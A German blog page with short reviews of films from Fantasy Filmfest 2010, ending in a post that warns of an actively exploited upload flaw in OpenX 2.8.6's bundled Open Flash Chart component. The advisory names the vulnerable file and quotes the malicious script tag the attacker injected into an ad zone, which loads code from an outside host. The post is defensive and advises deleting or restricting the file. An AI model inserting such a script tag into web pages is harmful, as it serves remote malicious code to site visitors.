Kreativrauschen Blog

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Viel Spaß!


12. September 2010

Filmkritik: Suck


Die Band Winners ist zielstrebig auf dem Weg in die Bedeutungslosigkeit, als Bassistin Jennifer sich unerwartet in einen Vampir verwandeln lässt. Abgesehen von den gelegentlich zu entsorgenden Leichen stellt sich das jedoch als durchaus positive Veränderung für die Band heraus.

Suck war nach Vampires die zweite Vampirkomödie auf dem Fantasy Filmfest 2010. Im Vergleich dazu hatte es durchaus etwas mehr Kick.

Etwas traurig für eine Vampirbandhorrorkomödie war die Musil leider nicht sooo der Hit. Ziemlich glattgebügelter Poprock. Sehr schade.

Nett sind dafür die Gastauftritte einiger Musik-Promies wie Iggy Pop, Alice Cooper und Moby.

Fazit: Unterhaltsame Rockvampirkomödie, die den Erwartungen leider nicht ganz gerecht wird, aber trotzdem viel Spaß macht.

Schlüsselwörter: Alice CooperFantasy Filmfest 2010FilmkritikenIggy PopKomödienMobyMusikRezensionenRockVampire

Filmkritik: Vampires


Vampires ist ein Dokumentarfilm über die belgische Vampirgemeinschaft. Er begleitet eine Vampirfamilie und beobachtet ihr alltägliches Leben und ihre Probleme.

Eine Vampirkomödie als Pseudodoku aufzuziehen ist eine schöne Idee. Vampires zeigt dabei sehr unterhaltsame Momente, wenn zum Beispiel die Kinder unangemessen mit ihrem Essen spielen, die Tochter sich Pink kleidet und sich die Familie mit den Nachbarn zickt.

Insgesamt bleibt Vampires aber leider nur durchschnittlich. Für die Länge hat der Film dann doch zu wenig Ideen und bewegt sich häufig an der Grenze zum Dümpeln.

Fazit: Ganz nett.

Filmkritik: Monsters


Sechs Jahre nachdem eine Weltraumsonde mit Bioproben bei der Landung verunglückte, haben sich gigantische Lebensformen nahe der Absturzstelle ausgebreitet. Ein riesiger Streifen Mexikos wurde zur infizierten Zone erklärt und abgeriegelt. Das Militär liefert sich regelmäßig Gefechte mit den haushohen Kreaturen. In diesem Chaos muss Fotograf Andrew die Tochter seines Verlegers sicher nach Hause geleiten.

Monsters erinnert in Stil und Atmosphäre extrem an District 9. Und auch inhaltlich gibt es einige starke Parallelen, wie zum Beispiel der Umgang mit außerirdischen Lebensformen. In Monsters fällt die Kritik daran jedoch deutlich subtiler aus, als in District 9.

Wie so viele Filme auf dem diesjährigen Fantasy Filmfest lebt Monsters vor allem von der Atmosphäre. Die Handlung schreitet sehr gemächlich voran und schrammt manchmal hart an der Grenze zur Langeweile vorbei.

Insgesamt ist Monsters aber dennoch schön anzusehen.

Filmkritik: The Loved Ones


Lola will auf den Abschlussball mit Brent. Dummerweise hat dieser schön ein anderes Date. Aber was Lola will, bekommt Lola auch. Also entführt ihr Vater Brent kurzerhand. Dieser erwacht schließlich auf Lolas ganz privatem Abschlussball und seinem ganz persönlichen Folterhorrortrip.

The Loved Ones ist wahrlich nichts für Zartbesaitete. Die Tortur, die Brent über sich ergehen lassen muss ist extrem und wird auch recht detailliert bebildert. Trotzdem ist The Loved Ones nicht nur etwas für Folterfans. Die absolut kranken Charaktere sind faszinierend und sorgen immer wieder für Lacher, obwohl das Geschehen doch so garnicht lustig ist.

Aber versteht mich nicht falsch. The Loved Ones ist nicht, wie eigentlich von mir erhofft, ein Spaßfilm. Die Schnunzelmomente sind in der Minderheit und was Brent widerfährt ist einfach nicht komisch. Der Film lebt mehr von der Faszination an den gestörten Charakteren.

Fazit: The Loved Ones ist eine sehr gut gemachte und sehr kranke Charakterstudie. Sehenswert, aber nur für Abgehärtete.

Schlüsselwörter: Fantasy Filmfest 2010FilmkritikenHorrorHorrorfilmeRezensionen

Filmkritik: Tetsuo: The Bullet Man


Nachdem sein Sohn ermordet wird, stellt Anthony fest, dass er sich unter Stress in ein Metallmonster mit eingebauten Waffen verwandelt. Es folgt die Suche nach den Ursachen seines Zustandes und ein unfreiwilliger Rachetrip.

Örgs. Nach Beschreibung und Trailer hoffte ich ja auf irgendeinen durchgeknallten japanischen Freakfilm. Leider ist Tetsuo: The Bullet Man aber einfach nur grottiger Trash. Billige Plastik-Masken, schlechte Schauspieler, schlechte Texte und eine Kameraführung, von dem einem schlecht wird.

In den ersten 10 Minuten macht der Film noch den Eindruck, als könnte er wirklich gut gemachter Wahnsinn werden. Aber nach einer Weile zeigt sich, dass der Regisseur das wohl wirklich ernst meint.

Fazit: Zeitverschwendung.

Schlüsselwörter: Fantasy Filmfest 2010FilmeFilmkritikenJapanRezensionen

Filmkritik: Symbol (Shinboru)


Eine Inhaltsbeschreibung spare ich mir bei Symbol (japanischer Originaltitel: Shinboru) mal, denn die wurde eh keinen Sinn ergeben. Ich verweise stattdessen auf den Trailer:

Wer sich jetzt denkt “was zum…”, erfasst das zentrale Gefühl von Symbol recht gut. Das Geschehen ist einfach nur absurd.

Ich stehe ja eigentlich auf absurde Filme. Symbol nützt die schräge Grundidee aber leider nur unzureichend aus. Das liegt primär an der Darstellung von dem Mann im Raum, der mit der Zeit ins Theaterhafte abdriftet, nurnoch albern wirkt und zudem schmerzhaft offensichtliche Lösungswege ignoriert.

So bleibt Symbol leider ein Film mit sehr gutem Ansatz, aber sehr mittelmäßiger Umsetzung.

Schlüsselwörter: Fantasy Filmfest 2010FilmeFilmkritikenJapan

Filmkritik: Kaboom


Smith (Thomas Dekker) ist Student und genießt als Bisexueller alle Facetten des Hochschullebens. Doch seit einiger Zeit plagt ihn ein merkwürdiger Traum und kurz darauf bedrohliche Visionen.

Kaboom stellt man sich am besten wie Donnie Darko vor, nur mit viel mehr Sex. Er beginnt noch relativ harmlos und beginnt dann eine zunehmend abgefahrene, surreale Atmosphäre zu versprühen. Diese Atmosphäre funktioniert auch wunderbar und wird auch nicht durch die zahlreichen coolen Sprüche und sonstigen Komikeinlagen gestört. Im Gegenteil – diese sind sehr erfrischend.

Optisch zeichnet sich Kaboom durch einen sehr bunten, fast schön grellen und meist künstlichen Look aus. Zudem wirkt es oft so, als sei eine Video-Kamera benutzt worden. Das sieht dann zwar nicht ganz so schön aus, aber man verzeiht es dem Film.

Von dem offensichtlichen Vorbild Donnie Darko unterscheidet sich Kaboom nicht nur durch die explizite Sexualität. Während ersterer zwar auch zum Ende hin ziemlich abhebt, bleibt er dabei jedoch noch relativ bodenständig. Und wenn ich Donnie Darko im Vergleich als bodenständig bezeichne, kann man sich schön vorstellen, wie sehr Kaboom am Ende jeglichen Bezug zur Realität verliert.

Aber das macht nichts. :) Es ist mir ein Rätsel, wie dieses Ende funktionieren kann, aber es tut es. Vielleicht liegt es am Placebo-Soundtrack. :)

Übrigens: Hauptdarsteller Thomas Dekker spielte John Connor in Terminator: The Sarah Connor Chronicles.

Schlüsselwörter: DramaFantasy Filmfest 2010FilmkritikenPlaceboThomas Dekker

11. September 2010

Filmkritik: Redline


Nachdem JP im Yellow-Line-Rennen knapp gescheitert ist Konturen er sich eigentlich nicht für das legendäre Redline qualifizieren. Allerdings findet Redline dieses Jahr auf einem kriegerischen Planeten ohne Einladung statt und so treten Genug Piloten zurück, dass JP nachrücken kann.

Redline ist ein japanischer Anime. Der Stil ist eher untypisch, stark überzeichnet und grellbunt.

Die Handlung ist eigentlich eher nebensächlich. Man könnte Redline als Eventfilm bezeichnen, denn eigentlich geht es nur darum, das total übersteigerte Rennen zu genießen.

Und in diesem Fach macht sich Redline wirklich gut. Die extrem beatlastige Musik tut zusammen mit der schrägen Optik ihr übriges um das Publikum prächtig zu unterhalten.

Fazit: Redline macht Spaß. :)

Schlüsselwörter: AnimationsfilmeAnimeAutorennenFantasy Filmfest 2010FilmeFilmkritikenJapanRezensionen

Filmkritik: Brotherhood


Als Initiationsritus lassen die Kameraden einer Studentenverbindung Neuanwärter Läden ausrauben. Eigentlich ist alles nur Schau, doch an diesem Abend gerät das Ritual außer Kontrolle und ein Anwärter wird angeschossen. Alle Versuche, das Geschehene zu vertuschen führen nur zu weiterer Eskalation.

Die Geschichte von Brotherhood ist eigentlich wenig innovativ, aber sie ist dennoch so packend inszeniert, dass die Spannung den ganzen Film über erhalten bleibt. Das Tempo ist fast durchgehend hoch.

Komik ist eher selten vertreten und erscheint meist in der Form von “auch das noch”.

Und das Ende ist dann doch relativ überraschend – auch wenn ich an dieser Stelle nicht näher darauf eingehen kann.

Fazit: Brotherhood ist ein durchgehend spannender und gut inszenierter Film mit hohem Tempo.

9. September 2010

Kritische Sicherheitslücke in OpenX 2.8.6 & Open Flash Chart 2


In OpenX 2.8.6 (und 2.8.5 und wahrscheinlich auch früheren Versionen) befindet sich eine Sicherheitslücke, über die ein Angreifer Zugriff auf den Server erlangen kann. Die Lücke wird bereits aktiv ausgenutzt (wie ich auf die harte Art erfahren musste). Es sieht so aus, als sei die Lücke im Kontext von OpenX derzeit nur Übeltätern bekannt, denn ich konnte nirgends sonst einen Hinweis darauf finden.

Betroffen ist folgende Datei:

/www/admin/plugins/videoReport/lib/ofc2/ofc_upload_image.php

Diese Datei wird zusammen mit dem OpenX-Video-Plugin ausgeliefert. Es handelt sich dabei um eine Komponente von Open Flash Chart 2, die schon bekannt ist. Im Wesentlichen erlaubt es die Lücke, beliebigen Code auf den Server zu laden. Der Angreifer lädt so eine Backdoor in Form einer PHP-Datei auf den Server und hat dadurch die vollen Rechte des Webserver-Accounts und kann dadurch (unter anderem) die Kontrolle über die OpenX-Installation übernehmen.

In unserem Fall legte der Angreifer einen neuen OpenX-Admin namens “root” an. Interessanterweise tauchte dieser Benutzer nirgends in den Accounts im OpenX-Backend auf. Er erschien aber im User Log, als er folgendes bösartige Script an eine unserer Werbezonen anhängte:

<script type="text/javascript" src="http://keyserveronline.com:8080/File.js"></script>

Überraschenderweise ist diese Lücke auch in der aktuellen Version von Open Flash Chart noch enthalten. Sie ist eigentlich nicht sonderlich schwer zu beheben, aber die Mühe scheint sich noch niemand gemacht zu haben. Ich auch nicht, da ich diese Komponente derzeit nicht benötige. Ein einfacher Workaround ist, die Datei zu löschen. Die Kernfunktionalität von OpenX sollte dadurch nicht beeinträchtigt werden. Alternativ kann man auch den Zugang zu der Datei per htaccess auf vertrauenswürdige Benutzer beschränken.

Ich empfehle jedem Nutzer von OpenX, das sofort zu tun. Die Lücke wird wie gesagt bereits aktiv ausgenutzt!

Schlüsselwörter: Open Flash ChartOpenXSicherheitslückenWebentwicklung

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